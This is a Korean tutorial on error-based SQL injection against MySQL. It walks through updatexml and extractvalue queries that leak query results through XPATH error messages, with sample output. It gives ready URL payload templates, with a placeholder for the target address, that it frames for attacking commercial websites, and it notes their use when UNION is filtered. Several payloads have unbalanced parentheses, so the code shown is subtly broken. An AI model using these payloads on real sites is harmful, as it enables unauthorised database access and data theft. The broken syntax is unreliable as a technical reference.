이 토픽에서는 에러를 기반으로 sql injection을 하는 방법에 대해 알아보도록 하겠습니다.
웹 해킹을 하다 보면 상용 웹 사이트에서 sql단에서 발생하는 에러를 그대로 출력하는 곳이 있습니다.
그때 우리는 error_based_sqli를 할 수 있습니다.
error_based_sqli는 말 그대로 에러를 사용하여 정보를 탈취하는 방법을 말합니다.
mysql에서 웹사이트에 반환하는 에러들은 공격자에게 중요한 정보들을 제공합니다.
앞의 토픽에서 알아본 union기반의 sql injection만 보아도 우리는 이것을 알 수 있습니다.
mysql 에서 반환하는 에러인
ERROR 1222 (21000): The used SELECT statements have a different number of columns
는 우리에게 union을 사용한 sql injection을 할 때 칼럼의 개수가 다르다는 중요한 정보를 제공합니다.
1, updatexml을 이용한 error based sql injection
위의 union을 이용한 sql injection에서는 error를 기반으로 우리에게 sql injection을 하는 데 필요한 간접적인 단서들을 제공하였습니다. 그러나 우리는 error를 사용하여 데이터베이스에서 직접적으로 정보를 탈취할 수 있습니다.
우리에게 이러한 user라는 이름의 데이터베이스가 있다고 가정해 보도록 합시다.
+----+-----------+---------------+
| id | nickname | password |
+----+-----------+---------------+
| 0 | admin | admin1234 |
| 1 | guest1 | guest1234 |
| 2 | guest2 | guest1234 |
| 3 | guest3 | guest1234 |
| 4 | guest4 | guest1234 |
| 5 | guest5 | guest1234 |
+----+-----------+---------------+
select id from user where id=1 and updatexml(null,concat(0x3a,(우리가 실행할 쿼리),null);
이러한 쿼리를 사용한다면 우리는 에러를 사용하여 현재 데이터베이스 이름을 알 수 있을 것입니다.(Select database()는 우리에게 현재 데이터베이스를 리턴해 줍니다.)
ERROR 1105 (HY000): XPATH syntax error: ':(데이터베이스 명)'
위에 있는 에러 구문처럼 우리는 에러를 사용하여 우리는 데이터베이스 이름을 가져올 수 있었습니다.
위에서 사용한 구문을 응용하여 우리는 우리가 원하는 쿼리문을 실행시킬 수 있습니다.
select id from user where id=1 and updatexml(null,concat(0x3a,(우리가 실행할 쿼리),null);
위의 구문을 실행시키게 되면
위에서 본 에러인
ERROR 1105 (HY000): XPATH syntax error: ':(우리가 실행한 쿼리의 결과)'
의 형식으로 우리가 원하는 정보를 가져올 수 있을 것 입니다.
방금 우리가 배운 기법을 상용 사이트에서 사용을 하려고 하면 이러한 방법으로 할 수 있을 것입니다.
www.[공격할 웹 사이트의 주소].php?id=-1' and updatexml(null,concat(0x3a,(우리가 실행할 쿼리),null)-- -
2. Extractvalue를 이용한 error based sql injection
위에서 updatexml을 이용한 sql injection에 대해 배울 때 사용했던 것과 같은 user라는 이름의 데이터베이스가 있다고 가정해 봅시다.
우리는 앞에서 사용했던 쿼리와 같이
select id from user where id=1 and extractvalue(0x0a,concat(0x0a,concat(0x0a,(우리가 실행할 쿼리문)));
과 같은 형식으로 사용할 수 있습니다.
위의 쿼리 또한 에러를 사용하여 우리가 실행하고 싶은 쿼리의 실행 값을 보여줄 것입니다.
ERROR 1105 (HY000): XPATH syntax error: '(우리가 실행한 쿼리의 결과)'
이 쿼리 또한 실제 웹 사이트를 해킹할 때 사용하려면
www.[공격할 웹 사이트의 주소].php?id=-1' and extractvalue(0x0a,concat(0x0a,concat(0x0a,(우리가 실행할 쿼리문)))-- -
과 같은 형식으로 사용할 수 있을 것입니다.
우리가 앞서서 배운 union을 사용한 sql injection을 사용하여 데이터베이스의 자료를 빼올 수 있음에도 불구하고 에러를 사용한 sql injection을 배워야 하는 이유는 union이라는 키워드가 필터링 되었을 경우 사용할 수 있는 다른 수단으로 사용할 수 있기 때문입니다.